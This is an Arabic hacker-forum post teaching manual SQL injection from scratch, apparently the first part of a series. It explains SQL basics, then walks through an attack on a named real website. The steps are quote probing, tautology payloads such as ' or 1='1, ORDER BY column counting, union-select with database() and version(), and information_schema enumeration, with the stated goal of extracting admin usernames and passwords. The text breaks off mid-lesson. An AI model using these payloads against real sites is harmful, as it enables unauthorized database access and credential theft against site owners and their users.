تذكرنــي
التسجيل التعليمات التقويم البحث مشاركات اليوم اجعل كافة الأقسام مقروءة



.:: SQL-injection , حقن قواعد بيانات ::. هنا توضع جميع شروح sql injection واداوت الخاصة فى حقن قواعد البيانات ..

اضافة رد

 
أدوات الموضوع انواع عرض الموضوع

رقم المشاركة : ( 1 )
الصورة الرمزية Ergo
Ergo

Ergo غير متواجد حالياً
 
رقم العضوية : 59491
تاريخ التسجيل : Jun 2014
مكان الإقامة :
عدد المشاركات : 13
عدد النقاط : 10
قوة التقييم :
افتراضي [حصري] شرح تفصيلي للحقن من البداية للاحتراف بإذن الله

كُتب : [ 07-15-2014 - 04:58 AM ]



السلام عليكم ورحمة الله وبركاته


هنا شرح حصري لمنتديات قراصنة غزة gaza-hacker.net/cc عن الحقن (SQL injection) .
ممنوع نقل الموضوع, ولن اسامح أي شخص نقل الموضوع.


أولاً, يجب أن نسأل ما معنى الحقن (injection) ؟؟
الحقن هنا مثل الحقن في الطبيعة



حيث تقوم بحقن الدواء إلى داخل الجسم.
نفس الشيء يحدث مع مواقع الانترنت. ببساطة, بعض المواقع تأخذ الأوامر من المستخدمين لكي تُظهر لهم الصفحات التي يريدونها.
هنا يستطيع المهاجِمين (attackers) ان يستغلوا هذه الفرصة بأن يأمروا الموقع بتنفيذ أوامر هجوميّة.
ببساطة شديدة, يستطيع الهاكِر (hacker) أن يأمر الموقع بأن يُظهر له قاعدة البيانات.
والموقِع البريء يقوم بتنفيذ هذه الأوامر لأنه يظنها صفحات عادية للموقع.

هذا أول مفهوم في الدرس (سوف ألون المفاهيم الجديدة باللون الأبيض الفاتح:
هذا الموقع البريء الذي ينفذ جميع الأوامر التي يرسلها له المستخدم, نطلق عليه اسم "موقع مصاب" (Vulnerable site)




الآن وقد عرفنا معنى كلمة حقن (injection) يجب أن نعرف معنى كلمة SQL.
كلمة SQL اختصار لثلاثة كلمات.
Structured Query Language
Structured معناها "منظمة" أو "مرتّبة"
Query معناها "استعلام"
Language معناها "لغة"

*
هنا نلاحظ أشياء مهمة جداً من ترجمتنا لكلمة الSQL :
1- Language.... إذاً هي لغة برمجة (تستخدم في برمجة قواعد البيانات).
2- Query..... إذاً هي تستعمل Queries (جمع كلمة query أي استعلامات). معناها ان الشخص بعدما يقوم بإنشاء قاعدة بيانات بهذه اللغة, فإنه يستطيع ان يحصل على أي شيء من قاعدة البيانات عن طريق استعلامات. (مثال:إذا انا قمت بإنشاء قاعدة بيانات تحتوي على اسماء اعضاء منتديات قراصنة غزة و عدد مشاركات كل عضو. سوف انشئ قاعدة البيانات هذه بلغة SQL. بعدما انهيت قاعدة البيانات هذه, أستطيع ان استعلم عن "عدد مشاركات العضو صاحب الاسم Ergo". سوف ترد عليا قاعدة البيانات وتقول لي "عدد مشاركاته = 12" مثلاً.)
**هذه الاستعلامات هي الأوامر التي نرسلها لقاعدة البيانات عندما نقوم بالحقن
3-Structured..... إذاً هي منظمة ومرتبة في صورة جداول (Tables) . كل جدول عبارة عن مجموعة من الأعمدة (Columns) . هذه الأعمدة تحتوي على البيانات (Data) التي تحتوي عليها قاعدة البيانات (Database) .

أعتقد اننا الآن فهمنا جميعاً معنى SQL.



مثال بسيط لقاعدة بيانات تم انشاءها بلغة الSQL



هذا عبارة عن جدول (Table) مأخوذ من قاعدة بيانات لأحد المحلات التجارية .
كما قلنا من قبل, فإن هذا الجدول يحتوي على مجموعة من الأعمدة (Columns) والصفوف (Rows) لكن ما يهمنا هنا هي الأعمدة Columns, وسوف تعرفون السبب في الشرح
كل عمود من هذه الأعمدة يحتوي على بيانات (Data) .

نجد أن العمود الأول category يحتوي على التصنيف . (أمثلة: مشروبات beverages وتوابل condiments)
والعمود الثاني product name يحتوي على اسم المنتج (أمثلة: شاي Chai وصوص القيقب Sirop d'erable)
**لاحظوا ان الشاي تصنيفه كمشروب, وصوص القيقب تصنيفها كتوابل .
والعمود الثالث unit price يحتوي على سعر الوحدة الواحدة (أمثلة: $18.00 و $28.50)
**لاحظوا ان الشاي تصنيفه كمشروب وسعره 18, وصوص القيقب تصنيفه كتوابل وسعره 28.5
أعتقد ان الموضوع أصبح سهلاً الآن ومفهوماً بوضوح.
العمود الخامس category average يحتوي على متوسط سعر السلعة في الصنف (أمثلة: 37.98$ و 23.06$)
**لاحظوا ان الشاي تصنيفه كمشروب (ومتوسط سعر المشروبات 37.98$) وسعره 18, وصوص القيقب تصنيفه كتوابل (ومتوسط سعر التوابل 23.06$)
العمود الرابع less than or more than average يحتوي على أعلى أم أقل من متوسّط سعر الصنف (أمثلة: إما "أقل من المتوسط" below average أو "أعلى من المتوسط" above average)
**لاحظوا ان الشاي تصنيفه كمشروب (ومتوسط سعر المشروبات 37.98$) وسعره 18 فهو بذلك أقل من المتوسط, بينما صوص القيقب تصنيفه كتوابل (ومتوسط سعر التوابل 23.06$) فهو بذلك أعلى من المتوسط

ملحوظة هامة:
هذا الجدول مأخوذ من قاعدة بيانات محل تجاري, وهذا الجدول يحتوي على الأشياء التي يمكن أن تشتريها البضاعة المعروضة في هذا المحل.
توجد جداول اخرى في قاعدة بيانات هذا المحل, منها جدول يحتوي على أعمدة (id, username, password, email, secret question). نستطيع ان نخمّن ان هذا هو الجدول الذي يحتوي على بيانات الأعضاء.
هناك جدول آخر يحتوي على معلومات المحلات الشريكة, ويحتوي على أعمدة (shop name, adress, phone, mail, website, clicks).
هذه الجداول الثلاثة معاً تكوّن قاعدة بيانات الموقع الالكتروني الخاص بهذا المحل التجاري

أعتقد ان الصورة اتضحت الآن, وأصبحت تفهم معنى (Tables) و (Columns) و (Data) وتستطيع ان ترى الترابط والتناغم بين الdata في الأعمدة المختلفة.





ثالثاً, ما هي الاستعلامات (queries) المشهورة التي تستخدم في لغة الSQL؟؟

من المؤكد أنه لكي تكون محترفاً في الحقن, يجب أن تكون محترفاً في لغة الSQL. حيث اننا عندما نجد موقع مصاب, فإننا نحقنه بإستعلامات خاصة بلغة الSQL لكي ترد قاعدة البيانات على هذه الاستعلامات وتظهر لنا البيانات التي نريدها.
لذلك, سوف أستعرض عليكم الآن أهم الإستعلامات المستخدمة في الحقن.
وسوف اريكم تطبيقها على قواعد بيانات.
أي أنني لن أشرح لكم لغة الSQL كلها, ولكنني سوف أريكم أهم الاستعلامات التي لها علاقة بالحقن (يمكن اعطاءها كأوامر للموقع وسحب قاعدة البيانات بها )

أول استعلام
SELECT * FROM tablename
يقوم باختيار كل شيء من الجدول الذي تحدده.
يمكن استبدال النجمة (*) باسم العمود أو العواميد التي تريدها بدلاً من سحب كل البيانات.
مثال:
نسحب جدول كامل اسمه customers
SELECT * FROM customers


نسحب عمودين فقط CustomerID وCustomerName من الجدول.
SELECT CustomerID,CustomerName FROM customers



ثاني استعلام
ORDER BY columnname
يقوم بترتيب العمود المختار ترتيباً تصاعدياً.
يمكن ان نجعل الترتيب تنازلي وليس تصاعدي بإضافة كلمة DESC في النهاية.
مثال:
ORDER BY City


ORDER BY City DESC



ثالث استعلام
عندما اريد ان أستخرج عمودين من قاعدة البيانات.
إذا كان العمودين في نفس الجدول.
SELECT column_name FROM table
لكن إذا كانوا في جدولين مختلفين
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2

مثال:
SELECT City FROM Customers
سحبنا عمود من جدول customers


SELECT PostalCode FROM Suppliers
سحبنا عمود من جدول suppliers


SELECT City FROM Customers UNION SELECT PostalCode FROM Suppliers
سحبنا العمودين من جدولين مختلفين



رابع استعلام
لمعرفة عدد الصفوف في عمود. (او في الجدول, فالاثنان متساويان).
SELECT COUNT(columnname) FROM tablename


مثال:
SELECT COUNT(*) FROM Customers
هنا نجد كلمة Expr1000 ... هي عبارة عن شيء في برمجة الSQL


ملحوظة: عندما طلبنا من قاعدة البيانات ان تخبرنا عن عدد صفوف الجدول, قامت بإعطاءنا عدد الصفوف, لكنها لم تجد اسماً لهذا الرقم, فأخرجتها وكتبت فوقها Expr1000... كانت من المفروض ان تكتب مثلاً "count = 196".
إذا أردنا ان نضع اسماً لهذا الطلب, فإننا نستخدم "As" ونضع بعدها الاسم.
مثال:
SELECT COUNT(*) As gazahackers FROM Customers



خامس استعلام
لتحديد النتائج اثناء سحب الجداول
إذا أردنا أن نسحب اسماء الأشخاص من جدول معين ولكننا لا نريد الأشخاص كلهم, بل نريد اسماء الأشخاص من دولة Palestine فقط. نستعمل:
WHERE columnname = Palestine

مثال:
SELECT * FROM Customers
WHERE Country=Mexico


يمكن أن نستخدم WHERE مع علامات "أكبر من" أو "أصغر من" (< أو >).
مثال:
SELECT * FROM Customers
WHERE CustomerID>87



سادس استعلام
لتحديد النتائج اثناء سحب الجداول
إذا أردنا أن نسحب اسماء الأشخاص من جدول معين ولكننا لا نريد الأشخاص كلهم, بل نريد اسماء الأشخاص الذين يعيشون في دولة Palestine وفي نفس الوقت رقم الID الخاص بهم أكثر من 50. نستعمل:
WHERE Country=Palestine
AND CustomerID>50

مثال:
SELECT * FROM Customers
WHERE CustomerID>80

SELECT * FROM Customers
WHERE CustomerID>80
AND Country=France

ببساطة: نريد سحب بيانات شخص رقمه فوق 80 وفي نفس الوقت يعيش في فرنسا.
إذا تحقق الشرطين, يتم سحب بياناته.
إذا تحقق شرط واحد فقط, لا يتم سحب بياناته.


سابع استعلام
لتحديد النتائج اثناء سحب الجداول
إذا أردنا أن نسحب اسماء الأشخاص من جدول معين ولكننا لا نريد الأشخاص كلهم, بل نريد اسماء الأشخاص الذين يعيشون في دولة Palestine أو يعيشون في دولة Egypt. نستعمل:
WHERE Country=Palestine OR Country=Egypt

مثال:
SELECT * FROM Customers
WHERE Country=Sweden

SELECT * FROM Customers
WHERE Country=Sweden
OR Country=Spain

ببساطة: نريد سحب بيانات شخص يعيش في السويد أو يعيش في اسبانيا.
إذا تحقق أحد الشرطين يتم سحب بياناته.




استعلامات لا يتم استعمالها في انشاء قواعد البيانات لكن يتم استعمالها بكثرة في الحقن

ثامن استعلام
لمعرفة اسم قاعدة البيانات التي يتم استخدامها الآن, نستعمل:
()Database

في نسخة ميكروسوفت المسماة ب(Microsoft SQL (MSSQL نستعمل:
[email protected]@

تاسع استعلام
لمعرفة اسم مستخدِم قاعدة البيانات التي يتم استخدامها الآن الخاصة بالموقع, نستعمل:
()User

عاشر استعلام
بالتأكيد نحن نعرف ان SQL عبارة عن لغة.
توجد أنظمة لإنشاء قواعد البيانات. كل هذه الأنظمة تعتمد على لغة الSQL, لكنها تختلف في اشياء بسيطة وبعض الأوامر.
منها MySQL, Oracle, MsSql, Firebird.
يمكن أن نقول ان أغلب المواقع تستعمل MySql.
لمعرفة نسخة نظام الMySQL المستخدم في الموقع, نستعمل:
()Version

ثاني الأنظمة انتشاراً هو MsSQL, يمكن أيضاً معرفة نسخة النظام المستخدم في الموقع المصاب. نستعمل:
[email protected]@


هذه الاستعلامات\الأوامر هي الأكثر استخداماً في الحقن, لذلك سأكتفي بهذا القدر من المعلومات عن الSQL.
ننتقل إلى معلومات عن الحقن الفعلي





الآن سوف نتحدث عن المواقع المصابة

كيف تحدث اصابة المواقع؟
سوف أشرح الموضوع ببساطة شديدة جداً ان شاء الله...

المواقع المصابة عبارة عن مواقع بها مشاكل في التصميم الخاص بها.
وبالتصميم لا أقصد الجرافيك والصور وغير ذلك, أقصد الكود code وخصوصاً الphp (لغة برمجة).
مثال للكود المسئول عن جعل المواقع مصابة بثغرة حقن SQL يكون كالآتي:

'SELECT * FROM Users WHERE UserId = '105
بالتأكيد تعرفون هذا الكود الآن وتعرفون وظيفته
إنه استعلام لقواعد البيانات المبرمجة بالSQL.
فالموقع مثلاً مبرمج بالphp والHTML, لكنه يحتوي على قواعد بيانات ( في الأغلب قاعدتين أو 3 قواعد) مبرمجة بأحد الأنظمة التي تستخدم لغة الSQL (مثل نظام MySQL مثلاً).
نجد أحد السطور في أحد ملفات الphp تطلب من قاعدة البيانات ان تسحب لها معلومة معينة لكي تقوم بإظهارها في جزء من الصفحة التي تقوم انت بفتحها على الانترنت.

نفهم من هذا أن الكود الذي ذكرناه ليس كود خبيث أو فيروس أو غيره. هو استعلام سليم تماماً.
إذاً... ما هي المشكلة الآن؟؟؟

لكي نعرف المشكلة... يجب أن نعرف كيف يعمل الموقع تحديداً.
تعالوا نشوف كيف يعمل الموقع صاحب الرابط:
site(dot)com/index.php?userId=1
/ = الملفات التي يحتويها السيرفر المرفوع عليه الموقع
index.php = فتح ملف اسمه index.php موجود في السيرفر (root directory /)
**في هذه الحالة, نفترض ان هذا الملف هو الذي يحتوي على الكود السابق ذكره
=userId? = استبدال الuserID في ملف الindex.php بالقيمة التي تدخلها بعد علامة "="
1 = هذه هي القيمة التي ستدخل في الاستعلام الموجود في ملف الindex.php .

الآن عرفنا كيف يعمل الموقع صاحب الرابط
site(dot)com/index.php?userid=1
فإنه يقوم باستخدام الاستعلام الموجود في ملف index.php وإضافة رقم الuserID له بحيث يكون:
كود:
SELECT * FROM Users WHERE UserId = '1'
ثم تقوم قاعدة البيانات بإظهار الصفّ (وليس العمود) الموجود في جدول Users, بشرط أن يحتوي على UserId يساوي 1

إذا لم تفهم هذا الجزء, فلا تكمل قراءة الباقي, أرجو أن ترجع فوق حيث شرحنا استعلامات لغة الSQL, وكيف اننا نستعمل SELECT FROM.. ثم نستعمل WHERE لتحديد نتائج البحث

ما رأيكم إذا قمنا بالتعديل على الرابط واستبدلنا رقم ال1 برقم 500 مثلاً؟؟
يكون الرابط هكذا:
site(dot)com/index.php?userid=500
يا ترى ماذا يحدث في السيرفر المرفوع عليه الموقع؟؟؟
نفس الطريقة...نجد أنه يقوم باستخدام الاستعلام الموجود في ملف index.php, ولكنه يقوم بتغيير الuserID إلى 500.

فإذا كان هناك user بالفعل اسمه 500, سيتم اظهار صفحة في الموقع.
أما إذا لم يكن هناك userID في قاعدة البيانات يحتوي على الرقم 500, فستظهر لنا رسالة خطأ أو ما شابه.

الآن فهمنا كيف يعمل الموقع... فلنشرح المشكلة في الكود السابق ذكره

ما رأيكم إذا أضفنا للuserID علامة تنصيص ' بحيث يصبح الكود:
كود:
SELECT * FROM Users WHERE UserId = '1''
ويكون الرابط:
'site(dot)com/index.php?userid=1

هنا حدثت مشكلة
هنا سوف تظهر لنا رسالة خطأ error تقول انه توجد هناك علامة تنصيص غير مغلقة (Unclosed quotation)
للتوضيح, انظر للألوان هنا:
''SELECT * FROM Users WHERE UserId = '1
علامة التنصيص الحمراء هي التي قمنا نحن بإدخالها وسط الاستعلام لكنها ليست هي المقصودة في رسالة الخطأ (Unclosed quotation) .
ذلك لأنها قامت بإغلاق علامة التنصيص الموجودة قبل رقم ال1, فبذلك أصبحت العلامة التي بعدها وحيدة

كلام رائع.
لكن ماذا أفادني وضع علامة التنصيص هنا؟؟؟

الإجابة:
وضع علامة التنصيص في حد ذاته لا يفيدك في سحب قاعدة البيانات, لكنه اختبار تستخدمه لتكتشف إذا كان ملف الphp الخاص بالموقع لا توجد به فلاتر () تمنع الحقن أو تمنعني من وضع الكود او الاستعلام الذي اريده كأنه userID طبيعي
فهناك بعض المواقع التي لا نستطيع حقنها... كيف ذلك؟؟
ذلك لأن ملف الphp الخاص بها يحدد استعلامات معينة لقاعدة البيانات, ولا يسمح لك ان تضع ما تريده, فإنه لا يسمح إلا بالأرقام محددة مثلاً (لن أشرح كيفية منع الحقن)

الآن ننتقل للجزء الخطير

هل تتذكرون OR التي كنا نستعملها في الاستعلامات (queries) الخاصة بقواعد البيانات؟؟
هل تتذكرون ماذا كانت تفعل تحديداً؟؟
كانت تقوم بسحب البيانات المتوفر فيها أحد الشرطين.. (راجعها في الأعلى قبل ان تقرأ القادم).


هناك شيء إضافي يجب ان اشرحه لكم قبل ان نستمر...
كيف تعمل WHERE؟
هي تقوم بمعالجة كل شيء تعطيه لها.. لكنها لا تعمل بطريقة متقدمة, بالعكس, فهي تعمل بطريقة بدائية جداً. هي تعالج كل شرط بمفرده. وتعطيه قيمة True أو False (أي صحيح أو خاطئ).
ثم بعد ذلك تستطيع تحديد النتائج التي ستعطيها لك.
بالتأكيد ستقوم بإعطاءك النتايج التي تحصل على True فقط.
مثال:
Select * from Customers WHERE Country=Palestine OR Country=Egypt
هذا مثال لإستعلام ذاهب لقاعدة البيانات.
تقوم قاعدة البيانات بإرسال جميع البيانات الموجودة في جدول Customers. (استجابةً للاستعلام SELECT * )
ثم بعد ذلك تبدأ WHERE بالفلترة. فتقوم بمعالجة كل وحدة بيانات بمفردها. فإذا كانت وحدة البيانات بها دولة فلسطين... تأخد قيمة True, فيتم تمريرها لتظهر لك.
إذا لم تكن بها دولة فلسطين, تأخد قيمة False. وتفحصها WHERE مرة اخرى لترى إذا كانت بها دولة مصر, إذا كانت موجودة, تأخذ قيمة True.
أما إذا كانت ليس بها دولة فلسطين ولا مصر, فلا يتم تمريرها لك, لأنها تأخذ قيمة False.
مفهومة؟؟؟
أتمنى أن تكون مفهومة, لأن هذه المعلومة مطلوبة في الجزء القادم



فما رأيكم لو قمت بالتعديل في الكود وجعلته بهذا الشكل؟؟

'SELECT * FROM Users WHERE UserId = '1' or 1='1

هنا نحصل على شيء جميل جداً.
أولاً, قاعدة البيانات تقوم بتمرير كل البيانات الموجودة في جدول Users.
ثم تبدأ WHERE بالفلترة كما قلنا.
تأخذ WHERE أول شرط... ان الUserID يساوي 1... تجده True في قيمة واحدة فقط من الجدول بأكمله. إذاً, فقاعدة البيانات هنا تقرر انها سوف ترسل لك قيمة واحدة فقط.
لكن عندما تبدأ WHERE بمعالجة ثاني شرط... تجد أنه True مع جميع القيم في الجدول (لأن واحد دائماً تساوي واحد)
فماذا يحدث في هذه الحالة؟؟؟
تقوم WHERE بتمرير قاعدة البيانات بأكملها لتظهر لك

فلنراجع الكود الأخير لنرى كيف حصلنا عليه وكيف نستطيع تكراره وكيف نضيف الاستعلامات التي نريدها لكي نحصل على معلومات من جداول اخرى.

هاهو الكود
'SELECT * FROM Users WHERE UserId = '1' or 1='1
بالتأكيد نحصل عليه بسهولة عن طريق وضع الآتي في نهاية رابط الموقع المصاب
site(dot)com/index.php?userid=1' or 1='1

الخطوة الأولى... التركيز دائماً على عدم ترك أي علامة تنصيص مفردة, يجب اغلاقها بعلامة اخرى دائماً. فلذلك, احرص على ان يكون عدد علامات التنصيص التي تضعها يكون عدد زوجي (كل علامتين تنصيص كأنهم بيقفلوا بعض )
الخطوة الثانية... وضع علامة تنصيص مباشرةً خلف الuserID. لكي نعزله عن باقي السطر.
عندما نفعل ذلك, فإننا نغلق الشرط الأول الخاص بWHERE ونستطيع بعدها ان نكمل السطر لنكتب شرط آخر لها
'WHERE UserId = '1 <<---------------- رائع... وتستطيع اضافة الشرط الآخر لWHERE
'WHERE UserId = '1 or 1=1 <<----------------- خطأ وسوف يعطيك رسالة خطأ لأنه لا يوجد userID اسمه 1or1=1


**************************************************
***************************************
****************************
*****************
********
*



بوصولك لهذه النقطة... وفي حالة فهمك التام لما سبق .. فإنك الآن تعرف الأساسيات المطلوبة لاختراق المواقع المصابة ان شاء الله.
الآن أستطيع ان اؤكد لك انه تم تأسيسك بطريقة سليمة في فهم أساسيّات الحقن.

قبل ان اشرح التطبيق على موقع حقيقي مصاب, اريد ان اقول بعض الأشياء:

1- ليست كل المواقع المصابة يكون الحقن فيها داخل الكود:
'SELECT * FROM Users WHERE UserId = '1
2- الكشف عن الاصابة ليس باستخدام علامة التنصيص فقط, بل يمكن استعمال بعض الرموز التي لا تكون مسموح بها في قواعد البيانات, فبالتالي عندما يتم حقنها في الاستعلام, تقوم قاعدة البيانات بإرسال رسالة خطأ.
أمثلة:
[email protected]#$%^&*_
3- أغلب شروحات الحقن اليدوي على المنتديات المختلفة تبدأ بالجزء الذي سوف ابدأ به في التطبيق العملي ولا يشرحون ما شرحته فوق, وانا أرى ان ذاك الجزء في غاية الأهمية ويجب اتقانه قبل بدأ الحقن.
(سوف أشرح التطبيق العملي على موقع به MySQL) .
4- كما قلنا من قبل ان هناك نظم اخرى غير MySQL الشهير تستخدم لغة SQL لترتيب قواعد البيانات. لن أتطرق لهم في هذا الموضوع, فهي كلها موجودة هنا على موقع قراصنة غزة:
[حصرياً لأول مرة] حقن قواعد فاير برد [Firebird]
*
[دورة] حقن قواعد Mssql
*
ما هي PostgreSQL ؟

المرحله الثانيه : [1] : | ?? PostGre SQL|INjeCtion|s ?? |

المرحله الثانيه : [2] : |?? PostGre SQL|INjeCtion|s ?? Error based|
*
MSACCESS InjeCtion
*
Oracle SQL Injection
*




الآن سوف اطبق الحقن اليدوي على موقع مصاب
سوف ابدأ بهذا الموقع المصاب:
كود:
http://www(dot)clanwilliam(dot)info/index.php?id=1
بسم الله الرحمن الرحيم
اولاً يا شباب, نفحصه لنتأكد انه قابل للحقن ولا لأ

أول محاولة باستعمال علامة التنصيص الشهيرة.
'index.php?id=1

أرجو ان تجربوا العلامات الاخرى كما قلت لكم... ستجدون ان بعضها يعمل ويعطي errors وبعدها مفلتر فلا يتم التقاطه
@index.php?id=1

^index.php?id=1


ممتاز, استطعنا التأكد ان الموقع مصاب.
الخطوة القادمة هي ان نعرف كيف نحقن.
أسهل شيء يمكن ان نفعله هو ان نضع or 1=1 في نهاية الرابط بحيث يصبح لدينا شرط TRUE دائم وبالتالي نقوم بسحب كل البيانات من الجدول المكتوب في الكود في الphp.
تعالو نجربها:
index.php?id=1 or 1=1

نجد فعلاً كل البيانات ظهرت (لم نجد اي باسوردات او ايميلات, إذاً نفهم ان الجدول المسحوب منه البيانات هنا ليس جدول بيانات الأعضاء, بل هو في الأغلب جدول البضائع المعروضة أو الخدمات )
طب بدلاً من وضع شرط 1=1 الذي ستقوم WHERE بمعالجته وتحصل على TRUE.. ما رأيكم ان نضع كلمة TRUE؟؟
نجربها
index.php?id=1 or true

قام الموقع بإظهار البيانات.
ممتاز..
يمكن ان تبتكر هنا وتضع أي شيء من هذه:
or 1=1
or true
or 1
'or 'x'='x
'or 'gaza'='gaza

أريدك أيضاً ان تجرب وضع شروط تعطي FALSE عند معالجتها, لكي ترى استجابة الموقع.
أمثلة:
or 0
or 1=2
'or 'gaza'='egypt
'or 'x'='y


الآن لقد علمنا ان الاستعلام الذي قمنا بالتعديل عليه يعمل. وان قاعدة البيانات تقوم بالرد على الاستعلامات المعدلة التي نطلبها... يمكننا الآن أن نستمر في الحقن ونكتب ما نريد.

لكن أرجو الانتباه لشيء مهم جداً...
هنا كتبنا or 1=1 بدلاً من or 1='1 ' ووجدناها تعمل...
نفهم من هذا أنه لا توجد علامات تنصيص في الكود الأصلي الموجود في الphp. هذا يعني ان مهمتنا سوف تكون أسهل بكثير من الوضع السابق (الذي شرحته فوق عندما قلت لكم اننا يجب ان نغلق الشرط الأول الخاص بWHERE ثم نكتب نحن الشرط الثاني )
إذا لم تفهمها, عد للشرح فوق وسوف تلاحظ الفرق.

نستكمل الحقن..

الآن اريد ان أعلم عدد الأعمدة الموجودة في الجدول الذي يتم سحب منه البيانات واظهارها على هذه الصفحة.
هناك طريقة سهلة جداً...
هل تتذكرون استعلام ORDER BY ؟
إلى جانب استعماله الذي ذكرناه سابقاً (مثل ORDER BY city) يمكن أن أكتب رقم العمود الذي اريد ترتيبه تصاعدياً (مثل ORDER BY 5). هذا مثلاً سوف يقوم بترتيب العمود الخامس ترتيباً تصاعدياً.

حسناً, كيف استطيع ان استخدم هذه الطريقة في معرفة عدد الأعمدة؟؟
بسيطة... نطلب منه ان يقوم بترتيب عمود غير موجود.. سنجد رسالة خطأ.
نكرر الموضوع حتى نصل لأكبر عدد يسمح لنا بترتيبه. فالعدد الذي بعده يصدر رسالة خطأ (أي انه عمود غير موجود).

تعالو نجرب:

index.php?id=1 order by 1

يظهر الموقع بدون رسائل خطأ.

نزود عمود
index.php?id=1 order by 2
يظهر الموقع بدون رسائل خطأ أيضاً.

نزود عمودين
index.php?id=1 order by 4
يظهر الموقع بدون رسائل خطأ أيضاً.

نزود عمودين كمان
index.php?id=1 order by 6
يظهر الموقع بدون رسائل خطأ أيضاً.

نزود عمودين كمان
index.php?id=1 order by 8
هنا تظهر رسالة خطأ.

رسالة الخطأ تقول انه لا يوجد عمود رقم 8

إذاً فلنقلل عمود
index.php?id=1 order by 7
يظهر الموقع بدون رسائل خطأ.


إذاً نفهم ان عدد الأعمدة 7



الآن,,, نريد ان نختار اظهار جميع الأعمدة (السبعة) باستخدام SELECT لكي نحصل على قاعدة البيانات.
يجب ان نستعمل UNION هنا لأننا ربما نحتاج للحصول على بيانات من أكثر من قاعدة بيانات واحدة.

نجرب
index.php?id=1 union select 1,2,3,4,5,6,7

نجد أن الموقع يظهر بصورة طبيعية كأننا لم نكتب شيء.

لماذا يحدث هذا؟؟
لأنه ربما كان الكود في ملف الphp على هذه الصورة مثلاً:
SELECT * from Customers where userId=1 union select 1,2,3,4,5,6,7


فإن الصفحة تقوم بإظهار الاستعلام الأول .. ثم تظهر الاستعلام الثاني تحته (فلا يظهر لنا).



الحل:
سوف نضطر إلى إلغاء الاستعلام الأول.

يبدو ان هذا مستحيل... فهذا الاستعلام ليس موجوداً في رابط الموقع, بل إنه في ملف الphp على سيرفر الموقع, ولا يستطيع الوصول إليه إلا صاحب الموقع.
لكن.............. لكل مشكلة حلّ ان شاء الله
... نستخدم And ونضع بعدها False.
فيكون الاستعلام الأول كالآتي:
SELECT * from Customers where userId=1 AND false

هنا عندما تقوم WHERE بالفلترة, سوف تجد ان جميع القيم التي حصلت عليها من جدول Customers تعطي قيمة خطأ False فبالتالي لن تظهرها لنا...
ثم بعد ذلك نضيف الاستعلام الجديد الخاص بنا ليظهر منوّراً على الشاشة

نجرّب:
index.php?id=1 and false union select 1,2,3,4,5,6,7


ظهر لنا رقمين... 2 و 4..

فلنحاول تفسير هذا.
انا قمت باستخدام أمر SELECT 1,2,3,4,5,6,7 ولم أستخدم أمر SELECT * from 1,2,3,4,5,6,7 فبالتالي, لن تظهر لي البيانات كلها على الشاشة... يظهر فقط رقم العمود
في هذه الحالة ظهر لي عمودين فقط على الرغم من اختياري ل7 عواميد... ما معنى هذا؟؟؟
معنى هذا أن هذان العمودان هما اللذان يظهران على الشاشة, وأنني أستطيع استغلال ذلك عن طريق حقن أحدهما بالاستعلامات التي اريدها وسوف تظهر لي نتائج على الشاشة. بينما باقي الأعمدة مخفية أو غير مسموح لها الظهور على الشاشة.
وهذان هما ما يطلق عليهما عمودان مصابان (Vulnerable columns)

فلنجرب بعض الاستعلامات التي درسناها لنرى إذا كانت ستعمل:

فلنحاول معرفة اسم قاعدة البيانات باستعلام ()database ونضعه في مكان اي عمود مصاب
index.php?id=1 and false union select 1,database(),3,4,5,6,7


ظهر لنا اسم قاعدة البيانات CLANWI_DB1

فلنحاول معرفة نسخة الMySQL المثبت على السيرفر باستعلام ()version
index.php?id=1 and false union select 1,version(),3,4,5,6,7


ظهر لنا نسخة الMySQL أنها 5.5.37


فلنبدأ بسحب البيانات..... أي اليوزرات والباسوردات لكي نحصل على اسم دخول وباسورد الأدمن.

هنا سوف أشرح لكم شيئاً جديداً بما أننا تطرّقنا له.

هل تذكرون لماذا نستخدم UNION؟؟
أجل, نستخدمها لأننا في الأغلب نقوم بسحب بيانات من أعمدة موجودة في جدولين مختلفين.
أثناء دراستنا للغة الSQL, سنجد أن أغلب الأنظمة التي تستخدمها (خصوصاً MySQL) تحتوي على قاعدة بيانات موجودة منذ تسطيبك للنظام على السيرفر. قاعدة البيانات هذه اسمها information_schema. أي "تنسيق المعلومات".
إذا نظرنا لها عن قرب, سنجد شكلها كالآتي:

اضغط هنا لرؤية الصورة بحجمها الكبير.
باختصار, هي تحتوي على نبذة عن كل شيء موجود في قواعد البيانات الاخرى... مثل اسماء الجداول وعدد البيانات الموجودة فيها واسماء الأعمدة وهكذا...
لكنها بالتأكيد لا تحتوي على البيانات نفسها.
لكي اوفر عليكم الوقت (لأنني قلت لكم أني هنا أشرح الحقن, ولست أشرح لغة الSQL), كل ما يخصنا في قاعدة البيانات هذه هي ال3 جداول التالية:

حيث اننا نستطيع استخدام:
1- جدول Schemata لمعرفة اسامي قواعد البيانات الاخرى الموجودة (مخزنة في عمود اسمه Schema_name)
2- جدول Tables لمعرفة اسامي الجداول الموجودة في قاعدة بيانات معينة (تكون مخزنة في Table_name), وفي نفس الوقت نستخدم Table_schema (كشرط من شروط WHERE ونجعلها تساوي اسم قاعدة البيانات التي نريد ان نعرف اسماء الجداول بها )
3- جدول Columns لمعرفة اسماء الأعمدة في جدول معين أو قاعدة بيانات معينة (تكون مخزنة في Column_name), وفي نفس الوقت استعمل table_schema لتحديد قاعدة البيانات التي أريد ان اعرف اسماء الأعمدة بها. أو استعمل table_name لتحديد اسم الجدول الذي اريد ان اعرف اسماء الأعمدة بداخله.



فلنرجع الآن إلى الحقن ونطبق هذه المعلومات الجديدة
هيا بنا نسحب بعض البيانات من قاعدة بيانات information_schema.....

index.php?id=1 and false union select 1,schema_name,3,4,5,6,7 from information_schema.schemata

لاحظوا استخدام Information_schema.Schemata أي جدول schemata من قاعدة بيانات Information_schema.
للأسف اعطاني اسم قاعدة بيانات Information_Schema فقط .
نحن متأكدين ان قاعدة البيانات هذه ليست الوحيدة لأننا استخدمنا أمر ()database وحصلنا على قاعدة يتم استخدامها الآن, وهي غير information_schema.
فما هي المشكلة هنا؟؟

ببساطة شديدة, نحن نريد سحب عمود اسمه Schema_name من جدول اسمه schemata موجود بقاعدة بيانات اسمها information_schema .
الاستعلام الذي استخدمناه صحيح 100%, لكن المشكلة اننا نريد إظهار عمود كامل, بينما لدينا في الصفحة خانة واحدة فقط.
في هذه الحالة, يقوم الموقع بإظهار أول قطعة من البيانات في العمود الذي نطلبه (information_schema في هذه الحالة).
للتغلب على هذا الوضع, توجد طريقتين.
سوف اشرح كلاهما.



